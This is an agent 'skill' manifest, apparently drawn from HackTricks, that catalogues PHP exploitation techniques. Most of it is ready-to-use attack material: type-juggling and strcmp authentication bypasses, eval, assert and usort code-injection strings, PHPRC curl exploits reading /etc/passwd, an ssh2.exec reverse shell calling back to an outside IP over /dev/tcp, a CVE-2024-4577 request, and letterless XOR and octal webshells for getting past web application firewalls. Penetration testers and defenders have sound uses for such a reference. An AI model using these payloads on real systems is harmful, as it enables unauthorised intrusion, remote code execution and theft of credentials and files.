Hacktricks-skills php-pentest

PHP security testing and exploitation techniques. Use this skill whenever the user needs to test PHP applications for vulnerabilities, analyze PHP code for security issues, generate PHP payloads, understand PHP type juggling attacks, or perform web application pentesting on PHP-based systems. Make sure to use this skill for any PHP security assessment, code review, or exploitation scenario.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-tricks-esp/SKILL.MD
source content

PHP Pentesting Skill

A comprehensive guide for testing and exploiting PHP applications.

Quick Reference

Common Cookie/Session Locations

/var/lib/php/sessions
/var/lib/php5/
/tmp/
# Example path traversal: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Common cookie names:

  • PHPSESSID
  • phpMyAdmin

Type Juggling Attacks

Loose Comparison Bypasses (==)

PHP's loose comparison (

==
) can be exploited:

PatternResultExploit
"string" == 0
TrueNon-numeric strings equal 0
"0xAAAA" == "43690"
TrueHex strings compare as numbers
"0e3264578" == 0
True"0e" prefix = scientific notation
"0X3264578" == 0X
True"0" + letter = 0
"0e12334" == "0"
TrueHash collision bypass
"X" == 0
TrueAny letter = 0

Use case: Bypass password/hash comparisons in authentication.

in_array() Type Juggling

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));        // True (loose)
var_dump(in_array(0, $values, true));  // False (strict)

Exploit: Send

0
to bypass array checks unless strict mode is enabled.

strcmp()/strcasecmp() Bypass

// Send empty array instead of string
https://example.com/login.php/?username=admin&password[]=

Exploit:

!strcmp(array(), "real_pwd")
returns true.

preg_match() Bypasses

New Line Bypass

// Input with newline bypasses ^.*pattern checks
$myinput="aaaaaaa
11111111";
echo preg_match("/^.*1/",$myinput);  // 0 (doesn't match)

Payload: URL-encode newlines as

%0A
or use multi-line JSON.

ReDoS Bypass

# 500k+ characters causes 1M backtracking steps
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Exploit: Exhaust PCRE recursion limit (default 100,000) to crash regex engine.

Remote Code Execution (RCE) Techniques

Via eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo()+'
<?php phpinfo(); ?>

Via assert()

// Break syntax, inject payload, fix syntax
?page=a','NeVeR') === false and system('ls') and strpos('a

// Alternative: append code execution
'.highlight_file('.passwd')+'

Note: Use

and
or
&&
-
or
and
||
won't work if first condition is true.

Via usort()

// Close brackets and inject code
VALUE: );phpinfo();#

// Inside function
VALUE: );}[PHP CODE];#

// Discover bracket count:
?order=id;}//      // Parse error - missing brackets
?order=id);}//      // Warning - correct
?order=id));}//     // Parse error - too many

Via preg_replace() (PHP < 5.5)

preg_replace("/a/e", "phpinfo()", "whatever")

Note: Deprecated in PHP 5.5+, but still exploitable in legacy systems.

Via .htaccess

# Upload .htaccess to configure file execution
# Shells available: https://github.com/wireghoul/htshells

Via Environment Variables

PHPRC Exploitation

# Upload shellcode file
# Upload config with auto_prepend_file
# Set PHPRC to config file

# Without file upload (FreeBSD):
curl "http://target/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

# With allow_url_include:
curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Via ssh2.exec Stream Wrapper

GET /download.php?id=54&show=true&format=ssh2.exec://user:pass@127.0.0.1:22/ping%2010.10.14.6%20-c%201#

# Reverse shell:
format=ssh2.exec://user:pass@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Requirements:

ssh2
extension installed, credentials available.

XAMPP CGI RCE (CVE-2024-4577)

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

<?php phpinfo(); ?>

WAF Bypass Techniques

Execute PHP Without Letters

Octal Encoding

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)";  # system(cat .passwd)

XOR Encoding

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"[");  # show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_");  # .passwd
$_($__);

XOR Easy Shell

$_="`{{{"^"?<>/";  // $_ = '_GET'
${$_}[_](${$_}[__]);  // $_GET[_]($_GET[__]);

Usage:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

HTTP Header Bypass

Cause Error After Headers

// Send 1000+ GET/POST params or 20+ files
// PHP won't set headers, bypassing CSP

Fill Body Before Headers

// Trigger large error output before header() call
// Server can't modify headers after output starts

Password Hash Bypass

Bcrypt 72-Byte Limit

// PASSWORD_BCRYPT truncates to 72 bytes
$cont=72;
echo password_verify(str_repeat("a",$cont), 
    password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT));
// Returns True - "b" is ignored

Variable Variables

$x = 'Da';
$$x = 'Drums';

// All output "Drums":
echo $$x;      // Drums
echo $Da;      // Drums
echo "${Da}";   // Drums

Common PHP Functions to Audit

// Code execution:
exec, shell_exec, system, passthru, eval, popen

// File operations:
unserialize, include, file_put_contents

// User input:
$_COOKIE, $_GET, $_POST, $_REQUEST

Debugging & Analysis

Enable Error Display

# Edit /etc/php5/apache2/php.ini
display_errors = On

# Restart Apache
sudo systemctl restart apache2

Deobfuscate PHP Code

Check for Xdebug RCE

// If Xdebug enabled in phpinfo(), try:
https://github.com/nqxcode/xdebug-exploit

Session Cookie Tricks

Cross-Path Cookie Sharing

// Same domain cookies stored together
// Path1 sets cookie, Path2 reads it
// If both use same variable name, values transfer

register_globals (PHP < 4.1.1.1)

// If enabled: $_GET["param"]="1234" becomes $param
// Can overwrite internal variables via HTTP params

register_argc_argv Bypass

// If enabled: query params populate $_SERVER['argv']
// Bypass CLI checks: ?--configPath=/lalala
// Makes web request appear as CLI execution

Next Steps

  1. Run the type juggling test script to verify loose comparison vulnerabilities
  2. Use the payload generator for common RCE techniques
  3. Check PHP wrappers for file inclusion attacks
  4. Analyze error messages for information disclosure
  5. Test authentication bypasses with type juggling

References